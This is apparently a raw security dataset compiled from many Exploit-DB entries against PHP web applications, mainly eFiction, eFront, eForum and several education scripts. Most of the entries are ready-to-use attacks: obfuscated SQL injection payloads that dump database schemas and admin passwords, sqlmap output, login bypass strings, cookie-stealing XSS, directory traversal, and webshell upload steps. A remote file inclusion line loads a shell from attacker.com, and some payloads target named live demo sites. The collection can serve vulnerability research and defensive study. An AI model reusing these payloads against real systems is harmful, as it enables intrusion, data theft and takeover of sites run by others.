deardaniel/secdata-raw huggingface dataset:
Exploit-DB #45510
Description: Education Website 1.0 - 'subject' SQL Injection
Type: webapps
Platform: php
Date: 2018-10-01
Author: Ihsan Sencan

Exploit:
# Exploit Title: Education Website 1.0 - 'subject' SQL Injection
# Dork: N/A
# Date: 2018-10-01
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://scriptzee.com/
# Software Link: http://scriptzee.com/products/details/34
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# http://localhost/[PATH]/college_list.html?subject=[SQL]

-7'+/*!11111UNION*/(/*!11111SELECT*/0x283129%2c0x283229%2c0x283329%2c0x283429%2c0x283529%2c0x283629%2c(Select+export_set(5,@:=0,(select+count(*)/*!11111from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2))%2c0x283829%2c0x283929%2c0x28313029%2c0x28313129%2c0x28313229%2c0x28313329%2c0x28313429%2c0x28313529%2c0x28313629%2c0x28313729%2c0x28313829%2c0x28313929%2c0x28323029%2c0x28323129%2c0x28323229%2c0x28323329%2c0x28323429%2c0x28323529%2c0x28323629%2c0x28323729%2c0x28323829%2c0x28323929%2c0x28333029%2c0x28333129%2c0x28333229%2c0x28333329%2c0x28333429%2c0x28333529%2c0x28333629%2c0x28333729%2c0x28333829%2c0x28333929%2c0x28343029%2c0x28343129%2c0x28343229%2c0x28343329%2c0x28343429%2c0x28343529%2c0x28343629%2c0x28343729%2c0x28343829%2c0x28343929%2c0x28353029)--+-
 
# http://localhost/[PATH]/college_list.html?city=[SQL]
 
'+/*!44444UNION*/(/*!44444SELECT*/0x283129%2c0x283229%2c0x283329%2c0x283429%2c0x283529%2c0x283629%2c(Select+export_set(5,@:=0,(select+count(*)/*!44444from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2))%2c0x283829%2c0x283929%2c0x28313029%2c0x28313129%2c0x28313229%2c0x28313329%2c0x28313429%2c0x28313529%2c0x28313629%2c0x28313729%2c0x28313829%2c0x28313929%2c0x28323029%2c0x28323129%2c0x28323229%2c0x28323329%2c0x28323429%2c0x28323529%2c0x28323629%2c0x28323729%2c0x28323829%2c0x28323929%2c0x28333029%2c0x28333129%2c0x28333229%2c0x28333329%2c0x28333429%2c0x28333529%2c0x28333629%2c0x28333729%2c0x28333829%2c0x28333929%2c0x28343029%2c0x28343129%2c0x28343229%2c0x28343329%2c0x28343429%2c0x28343529%2c0x28343629%2c0x28343729%2c0x28343829%2c0x28343929%2c0x28353029)--+-
 
# http://localhost/[PATH]/college_list.html?country=[SQL]
 
'+/*!22222UNION*/(/*!22222SELECT*/0x283129%2c0x283229%2c0x283329%2c0x283429%2c0x283529%2c0x283629%2c(select(select+concat(@:=0xa7,(select+count(*)from(information_schema.columns)where(@:=concat(@,0x3c6c693e,table_name,0x3a,column_name))),@)))%2c0x283829%2c0x283929%2c0x28313029%2c0x28313129%2c0x28313229%2c0x28313329%2c0x28313429%2c0x28313529%2c0x28313629%2c0x28313729%2c0x28313829%2c0x28313929%2c0x28323029%2c0x28323129%2c0x28323229%2c0x28323329%2c0x28323429%2c0x28323529%2c0x28323629%2c0x28323729%2c0x28323829%2c0x28323929%2c0x28333029%2c0x28333129%2c0x28333229%2c0x28333329%2c0x28333429%2c0x28333529%2c0x28333629%2c0x28333729%2c0x28333829%2c0x28333929%2c0x28343029%2c0x28343129%2c0x28343229%2c0x28343329%2c0x28343429%2c0x28343529%2c0x28343629%2c0x28343729%2c0x28343829%2c0x28343929%2c0x28353029)--+-
Exploit-DB #41056
Description: Education Website Script - Authentication Bypass
Type: webapps
Platform: php
Date: 2017-01-13
Author: Ihsan Sencan

Exploit:
# # # # # 
# Vulnerability:: Admin Login Bypass & SQLi
# Date: 13.01.2017
# Vendor Homepage: http://scriptfirm.com/
# Script Name: Education Website Script
# Script Buy Now: http://scriptfirm.com/education-website
# Author: İhsan Şencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # # 
# http://localhost/[PATH]/admin/ and set Username and Password to 'or''=' and hit enter.
# # # # #
Exploit-DB #28058
Description: Eduha Meeting - 'index.php' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2006-06-19
Author: Liz0ziM

Exploit:
source: https://www.securityfocus.com/bid/18499/info

Eduha Meeting is prone to an arbitrary file-upload vulnerability. 

An attacker can exploit this vulnerability to upload arbitrary code and execute it in the context of the webserver process. 

This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

http://www.example.com/path/index.php?act=add
Exploit-DB #42420
Description: EDUMOD Pro 1.3 - SQL Injection
Type: webapps
Platform: php
Date: 2017-08-02
Author: Kaan KAMIS

Exploit:
Exploit Title: School Management System | EDUMOD Pro v1.3 – SQL Injection
Date: 02.08.2017
Vendor Homepage: https://codecanyon.net/item/school-management-system-edumod-pro/19764430?s_rank=288
Exploit Author: Kaan KAMIS
Contact: iletisim[at]k2an[dot]com
Website: http://k2an.com
Category: Web Application Exploits

Overview

EDUMOD Pro is an advanced school management software based on web. It is developed with core PHP and mysql. You can manage all your school with a simple and understandable user interface. All modules available in software is under a start menu you can click to menu and go anywhere accross modules. There are various modules available for you and for your school in EDUMOD.

Vulnerable Url: http://localhost/students/search.php (POST Method)

Sqlmap Example : sqlmap -u "http://localhost/students/search.php" --cookie="_gat=1; _omappvp=true; _omappvs=true; _ga=GA1.2.810[PII_REDACTED]701941; _gid=GA1.2.66[PII_REDACTED]701941; PHPSESSID=i7gcjsi41rbm48ejn2a1ddgfti" 
--data="Query=Test&action=Search"

---
Parameter: Query (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: Query=Test%' AND 5466=5466 AND '%'='&action=Search

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cl
ause (FLOOR)
    Payload: Query=Test%' AND (SELECT 7257 FROM(SELECT COUNT(*),CONCAT(0x717a7a7
671,(SELECT (ELT(7257=7257,1))),0x[PII_REDACTED],FLOOR(RAND(0)*2))x FROM INFORMATION
_SCHEMA.PLUGINS GROUP BY x)a) AND '%'='&action=Search

    Type: stacked queries
    Title: MySQL > 5.0.11 stacked queries (comment)
    Payload: Query=Test%';SELECT SLEEP(5)#&action=Search

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: Query=Test%' AND SLEEP(5) AND '%'='&action=Search

    Type: UNION query
    Title: Generic UNION query (NULL) - 5 columns
    Payload: Query=Test%' UNION ALL SELECT NULL,NULL,CONCAT(0x717a7a7671,0x4d715[PII_REDACTED]6416c[PII_REDACTED]4e[PII_REDACTED]47574a[PII_REDACTED][PII_REDACTED]6366706e6355,0x71
71767871),NULL,NULL-- SXjD&action=Search
---
Exploit-DB #42658
Description: EduStar Udemy Clone Script 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-09-11
Author: 8bitsec

Exploit:
# Exploit Title: EduStar Udemy Clone Script v1.0 - SQL Injection
# Date: 2017-09-11
# Exploit Author: 8bitsec
# Vendor Homepage: https://www.abservetech.com/
# Software Link: https://www.abservetech.com/edustar-udemy-clone/
# Version: 1.0
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-09-11

Product & Service Introduction:
===============================
EduStar Udemy Clone Script

Technical Details & Description:
================================

Blind SQL injection on [course_id] parameter.

Proof of Concept (PoC):
=======================

http://localhost/[path]/courses/details?course_id=105 and 1=1

Parameter: course_id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: course_id=105 AND 4868=4868

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: course_id=105 AND SLEEP(5)

==================
8bitsec - [https://twitter.com/_8bitsec]
Exploit-DB #38873
Description: eduTrac - 'showmask' Directory Traversal
Type: webapps
Platform: php
Date: 2013-12-11
Author: High-Tech Bridge

Exploit:
source: https://www.securityfocus.com/bid/64255/info

eduTrac is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input.

A remote attacker could exploit the vulnerability using directory-traversal characters ('../') to access arbitrary files that contain sensitive information. Information harvested may aid in launching further attacks.

eduTrac 1.1.1 is vulnerable; other versions may also be affected.

http://www.example.com/installer/overview.php?step=writeconfig&showmask=../../eduTrac/Config/constants.php
Exploit-DB #32474
Description: EEB-CMS 0.95 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-10-11
Author: d3v1l

Exploit:
source: https://www.securityfocus.com/bid/31732/info

EEB-CMS is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

EEB-CMS 0.95 is affected; other versions may be vulnerable as well. 

http://www.example.com/index.php?content="><script>alert("test")</script>
Exploit-DB #31476
Description: Efestech E-Kontor - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-03-24
Author: RMx

Exploit:
source: https://www.securityfocus.com/bid/28412/info

Efestech E-Kontor is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/?id=-1%20union+select+0,sifre,2,3+from+admin+where+id=1
http://www.example.com/?id=-1%20union+select+0,firma,2,3+from+admin+where+id=1
Exploit-DB #3911
Description: EfesTECH Haber 5.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2007-05-14
Author: CyberGhost

Exploit:
#Title: EfesTECH Haber v5,0 Remote SQL Injection Vulnerability
#Author: CyberGhost
#Demo Page: http://www.haberguvercini.com
#Script Page: http://aspindir.com/indir.asp?id=4899&sIslem=%DDndir

#Vuln.

#Username - Password:/?efestech=haber&id=-1+union+select+0,kulladi,2,3,sifre,5,6,7,8,9,0,1,2,3,4+from+editorler
#Admin Login : /editor
====================================
Thanx : redLine - Hackinger - excellance - Liarhack - SaCReD SeeR - MaTRax - KinSize - BolivaR

And All TURKISH HACKERS !

# milw0rm.com [2007-05-14]
Exploit-DB #5987
Description: Efestech Shop 2.0 - 'cat_id' SQL Injection
Type: webapps
Platform: php
Date: 2008-07-01
Author: Kacak

Exploit:
Title: Efestech Shop v2.0 Sql Ä°njection Vuln

==============================
==================================

[+] Author : Dr.Kacak
[+] Special Thankz : KnockOut And All My Friends
[+] System 0VerfL0WerZ Group & BuqX Team
[+] Mail : BuqX [at] Hotmail [dot] com

=================================================================

Script : Efestech Shop v2.0
Verz: 2.0
Download : http://www.aspindir.com/indir/5479

 

SQL attack ;

http://target.com/path/?cmd=urunler&cat_id=30+union+select+0+from+ayarlar

Tables;

ayarlar
cat_eng
cat_tr
eng
lisans
mark_eng
mark_tr
product
subcat_eng
subcat_tr
tr
urun_resim

 

###############################################################

Example Bug Site :

http://www.efestech.com/demo/shop/?cmd=urunler&cat_id=30+union+select+0+from+ayarlar
http://www.efestech.com/demo/shop/?cmd=urunler&cat_id=30+union+select+0+from+eng
http://www.efestech.com/demo/shop/?cmd=urunler&cat_id=30+union+select+0+from+tr

# milw0rm.com [2008-07-01]
Exploit-DB #26593
Description: efiction 1.0/1.1/2.0 - 'sid' SQL Injection
Type: webapps
Platform: php
Date: 2005-11-25
Author: retrogod@aliceposta.it

Exploit:
source: https://www.securityfocus.com/bid/15568/info
  
eFiction is prone to SQL injection, remote file upload, and cross site scripting vulnerabilities.
  
These vulnerabilities may allow an attacker to view and modify sensitive information, gain unauthorized access, modify and corrupt the underlying database application, and obtain a victim's authentication credentials.
  
eFiction versions 1.0, 1.1 and 2.0 are reported to be vulnerable; other versions may also be affected. 

http://www.example.com/[path]/viewstory.php?sid='%20UNION%20SELECT%200,0,password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20FROM%20fanfiction_authors%20/*
http://www.example.com/[path]/viewstory.php?sid='%20UNION%20SELECT%200,0,penname,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20FROM%20fanfiction_authors%20/*
Exploit-DB #26591
Description: efiction 1.0/1.1/2.0 - 'titles.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-11-25
Author: retrogod@aliceposta.it

Exploit:
source: https://www.securityfocus.com/bid/15568/info

eFiction is prone to SQL injection, remote file upload, and cross site scripting vulnerabilities.

These vulnerabilities may allow an attacker to view and modify sensitive information, gain unauthorized access, modify and corrupt the underlying database application, and obtain a victim's authentication credentials.

eFiction versions 1.0, 1.1 and 2.0 are reported to be vulnerable; other versions may also be affected. 

http://www.example.com/efiction/titles.php?action=viewlist&let=<script>alert(document.cookie)</script>
Exploit-DB #26592
Description: efiction 1.0/1.1/2.0 - 'titles.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-11-25
Author: retrogod@aliceposta.it

Exploit:
source: https://www.securityfocus.com/bid/15568/info
 
eFiction is prone to SQL injection, remote file upload, and cross site scripting vulnerabilities.
 
These vulnerabilities may allow an attacker to view and modify sensitive information, gain unauthorized access, modify and corrupt the underlying database application, and obtain a victim's authentication credentials.
 
eFiction versions 1.0, 1.1 and 2.0 are reported to be vulnerable; other versions may also be affected. 

http://www.example.com/[path]/titles.php?action=viewlist&let='%20UNION%20SELECT%200,0,'<script>alert(document.cookie)</script>'
,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,penname,0%20FROM%20fanfiction_authors%20/*
Exploit-DB #26594
Description: efiction 1.0/1.1/2.0 - 'uid' SQL Injection
Type: webapps
Platform: php
Date: 2005-11-25
Author: retrogod@aliceposta.it

Exploit:
source: https://www.securityfocus.com/bid/15568/info
   
eFiction is prone to SQL injection, remote file upload, and cross site scripting vulnerabilities.
   
These vulnerabilities may allow an attacker to view and modify sensitive information, gain unauthorized access, modify and corrupt the underlying database application, and obtain a victim's authentication credentials.
   
eFiction versions 1.0, 1.1 and 2.0 are reported to be vulnerable; other versions may also be affected. 

http://www.example.com/[path]/viewuser.php?uid='UNION%20SELECT%200,0,0,0,0,0,0,0,0,0,password,0,0,0,0%20FROM%20fanfiction_authors%20/*
Exploit-DB #5785
Description: eFiction 3.0 - 'toplists.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-11
Author: Mr.SQL

Exploit:
###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## rEm0te SQL InjEcti0n VulnErability
##
## eFiction 3.0 (( toplists.php list ))
##
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.PaL-HaCkEr.CoM
##
## Email  : SQL@Hotmail.it
##
########################
########################
##
## Script Name : eFiction 3.0
##
## Download : www.efiction.hugosnebula.com
##
########################
########################
##    
## d0rk ::    allinurl: "toplists.php?list"
##
##   
## -(:: SQL ::)-
##    www.Site.com/toplists.php?list=(SQL)
##            1'+union+select+1,2,current_user,4,5,6,7,8/*                    
##
########################
##
## -(:: L!ve Demo ::)-
##            http://efiction.hugosnebula.com/preview/toplists.php?list=1'+and+1=0+union+select+1,2,current_user,4,5,6,7,8/*
##
########################
########################
######################################################################################################
######################################################################################################
                                   -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
:: HaCkEr-EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: HeBarieH :: MusliMs HaCkErs ::
######################################################################################################
######################################################################################################

# milw0rm.com [2008-06-11]
Exploit-DB #3361
Description: eFiction 3.1.1 - 'path_to_smf' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-02-22
Author: ThE dE@Th

Exploit:
********************************************************************************
To ConTacT mE @ www.Asb-May.net/bb
ScRiPt:-http://www.efiction.org/downloads/eFiction31.zip
GrEaTz To:-ToOofa-HaCk.eGy (All AsB-MaY DisCoverY ExPloIts GrOup)
Discovered By:- ThE dE@Th <<{AsB-MaY DiScOvEr ExPlIoTs Gr0uP}   >>
******************************************************************************
logout.php:-
include_once($path_to_smf."Sources/Subs-Auth.php");

get_session_vars.php:-
require_once($path_to_smf."SSI.php");
********************************************************************************
ExPlOiT:-http://www.SitE.com/bridges/SMF/logout.php?path_to_smf=[Shell]
ExPlOiT:-http://www.SitE.com/get_session_vars.php?path_to_smf=[Shell]
********************************************************************************

# milw0rm.com [2007-02-22]
Exploit-DB #2255
Description: eFiction < 2.0.7 - Remote Admin Authentication Bypass
Type: webapps
Platform: php
Date: 2006-08-25
Author: Vipsta

Exploit:
##########################################
# eFiction vulnerability
##########################################
# I am releasing this to the public. Vendor was notified. Someone is also illegally defacing 
these websites under MY name, which is a shame because they ripped it from a private discussion 
on g00ns.net. This proof of concept is not to be used to illegally hack websites. I do not condone, 
nor act in this type of activity. I suggest whomever is defacing websites under my name stop, 
since you would gain more notorioty under your own name.
##########################################

http://[target].com/efiction/index.php?adminloggedin=1&loggedin=1&level=1

Use firefox's extension "add n edit cookies" to add these to your cookies so they stick. 
(ie: instead of $_GET['loggedin'] its $_COOKIE['loggedin'] which stays with each page)

# milw0rm.com [2006-08-25]
Exploit-DB #31415
Description: eForum 0.4 - 'busca.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-03-18
Author: Omni

Exploit:
source: https://www.securityfocus.com/bid/28293/info

eForum is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.

Exploiting these vulnerabilities may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks.

These issues affect eForum 0.4; other versions may also be affected. 

http://www.example.com/eForum/busca.php
http://www.example.com/eForum/busca.php?link=%3Cscript%3Ealert(1)%3C/script%3E&busca=%3Cscript%3Ealert(2)%3C/script%3E
http://www.example.com/eForum/busca.php?link=%3Cscript%3Ealert(1)%3C/script%3E
Exploit-DB #35604
Description: eForum 1.1 - 'eforum.php' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2011-04-09
Author: QSecure

Exploit:
source: https://www.securityfocus.com/bid/47309/info

eForum is prone to an arbitrary-file-upload vulnerability because the application fails to adequately sanitize user-supplied input.

An attacker can exploit this issue to upload arbitrary code and run it in the context of the webserver process.

eForum 1.1 is vulnerable; other versions may also be affected. 

if (isset($_FILES)) { //upload attachments
  ...snip...
   $invalidFileTypes = array('php', 'php3', 'php4', 'php5', 'exe', 'dll', 'so', 'htaccess');
   $uploaddir = $eforum->path.'/upload';
   $upfiles = $_FILES['efattachment'];
     foreach ($upfiles['name'] as $idx => $upname) {
       if ($upname != '') {
         $source = $upfiles['tmp_name'][$idx];
           if (is_uploaded_file($source)) {
             if (in_array($fmanager->FileExt($upname), $invalidFileTypes)) { continue; }
Exploit-DB #6633
Description: eFront 3.5.1 / build 2710 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-09-30
Author: Pepelux

Exploit:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
eFront <= 3.5.1 / build 2710: Remote File Inclusion Vulnerability
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

$ Program: eFront
$ File affected: studentpage.php / professorpage
$ Version: 3.5.1 / build 2710
$ Download: http://www.efrontlearning.net


Found by Pepelux <pepelux[at]enye-sec.org>
eNYe-Sec - www.enye-sec.org

-- Description (by the author's page) --
eFront is an easy to use, visually attractive, SCORM compatible, eLearning
and Human Capital Development system. It is suitable for both company and
educational usage. The core eFront system is offered as open-source software
so you can download and start using it immediately. Check the functionality
matrix for different eFront editions.


-- Bug --
If you are a student or a teacher you can upload an avatar. It not check the
extension (JPG, PNG, GIF, ...) and you can upload any file (ex: PHP)

Website structure:

site.com /
         /upload/       		-> Files saved
		/admin/
                      /avatars
                /student/
                        /avatars
                /professor/
                          /avatars
         /www				-> Website
	 /backups
         /libraries


-- Exploit --
Students can upload a shell.php as the avatar ant next execute as:
  http://site/upload/student/avatars/shell.php

Teachers can upload a shell.php as the avatar ant next execute as:
  http://site/upload/professor/avatars/shell.php


Note: in all sites I've tested upload dorectory is accesible by web

# milw0rm.com [2008-09-30]
Exploit-DB #9681
Description: efront 3.5.4 - 'database.php?path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-09-15
Author: cr4wl3r

Exploit:
########################################################################
#efront <= 3.5.4 Remote File Include Vulnerability
#Download Script      :  http://sourceforge.net/projects/efrontlearning/files/
#Author               :  cr4wl3r 
#Contact              :  cr4wl3r[4t]linuxmail[dot]org 
#Location             :  Gorontalo - INDONESIA
########################################################################
#file :
#  database.php 
#line 15 require_once($path.'adodb/adodb.inc.php');
########################################################################
#3xplo!t :
#http://target.com/[path]/libraries/database.php?path=http://attacker.com/shell.txt???  
########################################################################
#Greetz        : MyMom [alm]
#Thanks 2      : opt!x hacker, xoron, irvian, cyberlog, EA ngel, bl4ck_3ng1n3, Hmei7, zvtral
########################################################################
#sekuritionline.net (all crew sekuritionline)
#manadocoding.net (all crew manadocoding)
########################################################################

# milw0rm.com [2009-09-15]